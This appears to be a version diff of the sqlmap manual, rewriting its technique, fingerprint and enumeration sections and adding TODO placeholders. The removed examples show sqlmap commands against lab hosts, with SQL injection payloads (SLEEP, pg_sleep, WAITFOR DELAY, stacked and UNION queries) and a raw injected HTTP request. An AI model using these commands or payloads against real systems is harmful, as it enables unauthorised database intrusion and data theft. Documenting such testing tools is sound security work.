-[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
    -
    -

    - -

    As you can see, when this options is specified, sqlmap skips the URL -stability test.

    - - -

    5.5 Techniques +

    5.7 Techniques

    -

    These options can be used to test for specific SQL injection technique or -to use one of them to exploit the affected parameter(s) rather than using -the default blind SQL injection technique.

    +

    These options can be used to tweak how specific SQL injection techniques +are tested.

    -

    Test for stacked queries (multiple statements) support

    +

    Seconds to delay the DBMS response for time-based blind SQL injection

    -

    Option: --stacked-test

    +

    Switch: --time-sec

    -

    It is possible to test if the web application technology supports -stacked queries, multiple statements, on the injectable -parameter.

    +

    It is possible to set the seconds to delay the response when testing for +time-based blind SQL injection, by providing the +--time-sec option followed by an integer. +By default delay is set to 5 seconds.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
-  --stacked-test -v 1
+
    TODO
    
 
-[...]
-back-end DBMS: MySQL >= 5.0.0
+
    Switch: --union-cols
    
 
-[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
-stacked queries support:        None
-
    -
    -

    +

    TODO

    -

    By default PHP builtin function mysql_query() does not support -multiple statements. -Multiple statements is a feature supported by default only by some -web application technologies in relation to the back-end database -management system. For instance, as you can see from the next example, -where PHP does not support them on MySQL, it does on PostgreSQL.

    +

    TODO

    -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
-  --stacked-test -v 1
+
    Switch: --union-char
    
 
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
-stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
-  --stacked-test -v 1
-
-[...]
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
-stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
-
    -
    -

    +

    TODO

    -

    Test for time based blind SQL injection

    - -

    Options: --time-test and --time-sec

    - -

    It is possible to test if the target URL is affected by a time based -blind SQL injection vulnerability.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
-  --time-test -v 1
-
-[...]
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND 
-condition syntax
-[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection 
-with AND condition syntax
-time based blind sql injection payload:    'id=1 AND SLEEP(5) AND 5249=5249'
-
    -
    -

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
-  --time-test -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND 
-condition syntax
-[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql 
-injection with AND condition syntax
-[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked 
-query syntax
-[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection 
-with stacked query syntax
-time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
-  --time-test -v 1
-
-[...]
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND 
-condition syntax
-[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql 
-injection with AND condition syntax
-[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked 
-query syntax
-[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with 
-stacked query syntax
-time based blind sql injection payload:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 
-'PmrXn'='PmrXn'
-
    -
    -

    - -

    It is also possible to set the seconds to delay the response by providing -the --time-sec option followed by an integer. By default delay -is set to five seconds.

    - - -

    Test for UNION query SQL injection

    - -

    Options: --union-test and --union-tech

    - -

    It is possible to test if the target URL is affected by a UNION query -(inband) SQL injection vulnerability. -Refer to the Techniques section for details on this SQL injection -technique.

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
-  --union-test -v 1
-
-[...]
-back-end DBMS:  Oracle
-
-[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
-technique
-[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union:    'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
-NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
-
    -
    -

    - -

    By default sqlmap uses the NULL bruteforcing technique to -detect the number of columns within the original SELECT statement. -It is also possible to change it to ORDER BY clause -bruteforcing with the --union-tech option.

    - -

    Further details on these techniques can be found -here.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
-  --union-test --union-tech orderby -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause 
-bruteforcing technique
-[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union:    'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
-1262=1262'
-
    -
    -

    - -

    As you can see, the target URL parameter id might be also -exploitable by the inband SQL injection technique. -In case a case it is strongly recommended to use this technique which saves -a lot of time.

    - -

    It is strongly recommended to run at least once sqlmap with the ---union-test option to test if the affected parameter is used -within a for cycle, or similar, and in case use ---union-use option to exploit this vulnerability because it -saves a lot of time and it does not weight down the web server log file -with hundreds of HTTP requests.

    - - -

    Use the UNION query SQL injection

    - -

    Option: --union-use

    - -

    Providing the --union-use parameter, sqlmap will first test if -the target URL is affected by an inband SQL injection -(--union-test) vulnerability then, in case it seems to be -vulnerable, it will confirm that the parameter is affected by a Full -UNION query SQL injection and use this technique to go ahead with the -exploiting. -If the confirmation fails, it will check if the parameter is affected by -a Partial UNION query SQL injection, then use it to go ahead if it -is vulnerable. -In case the inband SQL injection vulnerability is not exploitable, sqlmap -will automatically fallback on the blind SQL injection technique to go -ahead.

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
-  --union-use --banner
-
-[...]
-back-end DBMS:  Microsoft SQL Server 2000
-
-[hh:mm:42] [INFO] fetching banner
-[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
-technique
-[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection 
-vulnerability
-[hh:mm:42] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
-CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
-CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
-banner:
----
-Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
-        Aug  6 2000 00:57:48 
-        Copyright (c) 1988-2000 Microsoft Corporation
-        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
-
    -
    -

    - -

    As you can see, the vulnerable parameter (id) is affected by both -blind SQL injection and exploitable full inband SQL injection -vulnerabilities.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
-  --union-use --current-user
-
-[...]
-[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql 
-injection vulnerability
-[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
-IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)), 
-NULL# AND 8032=8032
-[hh:mm:29] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
-%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
-%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
-%208032=8032 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 172.16.213.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Tue, 16 Dec 2008 hh:mm:29 GMT
-Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9 
-OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
-X-Powered-By: PHP/5.2.6-2ubuntu4
-Content-Length: 194
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
-</table>
-</body></html>
-
-[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
-current user:    'testuser@localhost'
-
    -
    -

    - -

    As you can see, the MySQL CURRENT_USER() function (--current-user) -output is nested, inband, within the HTTP response page, this makes the -inband SQL injection exploited.

    - -

    In case the inband SQL injection is not fully exploitable, sqlmap will -check if it is partially exploitable: this occurs if the query output -is not parsed within a for, or similar, cycle but only the first -entry is displayed in the page content.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
-  --union-use --dbs
-
-[...]
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:56] [INFO] fetching database names
-[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
-technique
-[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
-[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql 
-injection vulnerability
-[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
-[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection 
-vulnerability
-[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
-IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL 
-FROM information_schema.SCHEMATA# AND 1062=1062
-[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
-[hh:mm:56] [INFO] the SQL query provided returns 4 entries
-[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
-CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
-information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
-[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
-[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
-CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
-information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
-[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
-[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
-CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
-information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
-[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
-[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
-CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
-information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
-[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
-available databases [4]:
-[*] information_schema
-[*] mysql
-[*] privatedb
-[*] testdb
-
    -
    -

    - -

    As you can see, sqlmap identified that the parameter is affected by a -partial inband SQL injection. Consequently, it counted the number of query -output entries and retrieved them once per time. It forces the parameter -(id) value 1 to its negative value -1 so that -it does not return, presumibly, any output. That leaves our own UNION ALL -SELECT statement to produce one entry at a time and display only it in -the page content.

    - - -

    5.6 Fingerprint +

    5.8 Fingerprint

    -

    Extensive database management system fingerprint

    +

    TODO: Extensive database management system fingerprint

    -

    Options: -f or --fingerprint

    +

    Switches: -f or --fingerprint

    By default the web application's back-end database management system fingerprint is performed requesting a database specific function which @@ -2735,24 +1766,6 @@ back-end DBMS is also tested.

    database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
-
-[...]
-[hh:mm:17] [INFO] testing MySQL
-[hh:mm:17] [INFO] confirming MySQL
-[hh:mm:17] [INFO] retrieved: 5
-[hh:mm:17] [INFO] the back-end DBMS is MySQL
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
    -
    -

    -

    As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.

    @@ -2760,218 +1773,16 @@ system and the web application technology by parsing some HTTP response headers. based on various techniques like specific SQL dialects and inband error messages, you can provide the --fingerprint option.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f
-
-[...]
-[hh:mm:49] [INFO] testing MySQL
-[hh:mm:49] [INFO] confirming MySQL
-[hh:mm:49] [INFO] retrieved: 3
-[hh:mm:49] [INFO] the back-end DBMS is MySQL
-[hh:mm:49] [INFO] retrieved: 
-[hh:mm:49] [INFO] retrieved: 
-[hh:mm:49] [INFO] retrieved: t
-[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
-               comment injection fingerprint: MySQL 5.0.67
-               html error message fingerprint: MySQL
-
    -
    -

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f
-
-[...]
-[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
-[hh:mm:38] [INFO] testing Oracle
-[hh:mm:38] [INFO] confirming Oracle
-[hh:mm:38] [INFO] the back-end DBMS is Oracle
-[hh:mm:38] [INFO] retrieved: 10
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: active fingerprint: Oracle 10g
-               html error message fingerprint: Oracle
-
    -
    -

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
-
-[...]
-[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
-[hh:mm:14] [INFO] testing PostgreSQL
-[hh:mm:14] [INFO] confirming PostgreSQL
-[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
-[hh:mm:14] [INFO] retrieved: 2
-[hh:mm:14] [INFO] retrieved: 
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
-               html error message fingerprint: PostgreSQL
-
    -
    -

    -

    As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option --dbms.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f
-
-[...]
-[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
-[hh:mm:41] [INFO] testing Microsoft SQL Server
-[hh:mm:41] [INFO] confirming Microsoft SQL Server
-[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
-                html error message fingerprint: Microsoft SQL Server
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
-
-[...]
-[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
-[hh:mm:41] [INFO] testing Microsoft SQL Server
-[hh:mm:41] [INFO] confirming Microsoft SQL Server
-[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2003 or 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: active fingerprint: Microsoft SQL Server 2005
-               html error message fingerprint: Microsoft SQL Server
-
    -
    -

    -

    If you want an even more accurate result, based also on banner parsing, you can also provide the -b or --banner option.

    -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b
-
-[...]
-[hh:mm:04] [INFO] testing MySQL
-[hh:mm:04] [INFO] confirming MySQL
-[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:04] [INFO] retrieved: 0
-[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:04] [INFO] the back-end DBMS is MySQL
-[hh:mm:04] [DEBUG] query: VERSION()
-[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
-[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
-[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
-[hh:mm:05] [INFO] retrieved: 
-[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
-[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
-[hh:mm:05] [INFO] retrieved: 
-[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
-[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
-[hh:mm:05] [INFO] retrieved: t
-[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
-               comment injection fingerprint: MySQL 5.0.67
-               banner parsing fingerprint: MySQL 5.0.67
-               html error message fingerprint: MySQL
-[...]
-
    -
    -

    -

    As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b
-
-[...]
-[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
-[hh:mm:03] [INFO] testing Microsoft SQL Server
-[hh:mm:03] [INFO] confirming Microsoft SQL Server
-[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
-[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
-[hh:mm:03] [DEBUG] query: @@VERSION
-[hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
-        Aug  6 2000 00:57:48 
-        Copyright (c) 1988-2000 Microsoft Corporation
-        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
-
-[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
-web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS operating system: Windows 2000 Service Pack 4
-back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
-                banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0 
-                version 8.00.194
-                html error message fingerprint: Microsoft SQL Server
-[...]
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
-
-[...]
-[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
-[hh:mm:03] [INFO] testing Microsoft SQL Server
-[hh:mm:03] [INFO] confirming Microsoft SQL Server
-[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
-[hh:mm:03] [DEBUG] query: @@VERSION
-[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
-        Oct 14 2005 00:33:37 
-        Copyright (c) 1988-2005 Microsoft Corporation
-        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
-
-[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
-web server operating system: Windows 2003 or 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS operating system: Windows 2003 Service Pack 1
-back-end DBMS: active fingerprint: Microsoft SQL Server 2005
-               banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 
-               version 9.00.1399
-               html error message fingerprint: Microsoft SQL Server
-[...]
-
    -
    -

    -

    As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap @@ -2979,7 +1790,7 @@ parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

    -

    5.7 Enumeration +

    5.9 Enumeration

    These options can be used to enumerate the back-end database management @@ -2989,689 +1800,188 @@ you can run your own SQL statements.

    Banner

    -

    Option: -b or --banner

    +

    Switch: -b or --banner

    Most of the modern database management systems have a function and/or -an environment variable which returns details on the database management -system version. Also, sometimes it returns the operating system version -where the daemon has been compiled on, the operating system architecture, -and its service pack. Usually the function is version() and the -environment variable @@version.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0
-
-banner:    '5.0.67-0ubuntu6'
-
    -
    -

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0
-
-banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
-(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
-
    -
    -

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0
-
-banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0
-
-banner:
----
-Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
-        Aug  6 2000 00:57:48 
-        Copyright (c) 1988-2000 Microsoft Corporation
-        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
-
-banner:
----
-Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
-        Oct 14 2005 00:33:37 
-        Copyright (c) 1988-2005 Microsoft Corporation
-        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
----
-
    -
    -

    +an environment variable which returns the database management system +version and eventually details on its patch level, the underlying +system. Usually the function is version() and the environment +variable is @@version, but this vary depending on the target +DBMS.

    Session user

    -

    Option: --current-user

    +

    Switch: --current-user

    -

    It is possible to retrieve the database management system's user which is -effectively performing the query on the database from the web application.

    - -

    Example on a MySQL 5.0.67 target:

    -

    -

    -
    -python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
-
-current user:    'testuser@localhost'
-
    -
    -

    +

    On the majority of modern DBMSes is possible to retrieve the database +management system's user which is effectively performing the query against +the back-end DBMS from the web application.

    Current database

    -

    Option: --current-db

    +

    Switch: --current-db

    -

    It is possible to retrieve the database management system's database the -web application is connected to.

    +

    It is possible to retrieve the database management system's database name +that the web application is connected to.

    -

    Example on a Microsoft SQL Server 2000 Service Pack 0 target:

    + +

    Detect whether or not the session user is a database administrator

    + +

    Switch: --is-dba

    + +

    It is possible to detect if the current database management system session +user is a database administrator, also known as DBA. +sqlmap will return True if it is, viceversa False.

    + + +

    List database management system users

    + +

    Switch: --users

    + +

    When the session user has read access to the system table containing +information about the DBMS users, it is possible to enumerate the list of +users.

    + + +

    List and crack database management system users password hashes

    + +

    Switches: --passwords and -U

    + +

    When the session user has read access to the system table containing +information about the DBMS users' passwords, it is possible to enumerate +the password hashes for each database management system user. +sqlmap will first enumerate the users, then the different password hashes +for each of them.

    + +

    Example against a PostgreSQL target:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
-
-current database:    'master'
-
    -
    -

    - - -

    Detect if the session user is a database administrator (DBA)

    - -

    Option: --is-dba

    - -

    It is possible to detect if the current database management system session user is -a database administrator.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
 
 [...]
 back-end DBMS: PostgreSQL
-
-[hh:mm:49] [INFO] testing if current user is DBA
-[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE 
-usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
-[hh:mm:49] [INFO] retrieved: 1
-[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
-current user is DBA:    'True'
-
    -
    -

    - -

    Example on an Oracle XE 10.2.0.1 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2
-
-[...]
-back-end DBMS: Oracle
-
-[hh:mm:57] [INFO] testing if current user is DBA
-[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE 
-GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65)) 
-THEN 1 ELSE 0 END) FROM DUAL
-[hh:mm:58] [INFO] retrieved: 1
-[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
-current user is DBA:    'True'
-
    -
    -

    - - -

    Users

    - -

    Option: --users

    - -

    It is possible to enumerate the list of database management system users.

    - -

    Example on a PostgreSQL 8.3.5 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0
-
-database management system users [3]:
-[*] postgres
-[*] testuser
-[*] testuser2
-
    -
    -

    - - -

    Users password hashes

    - -

    Options: --passwords and -U

    - -

    It is possible to enumerate the password hashes for each database -management system user.

    - -

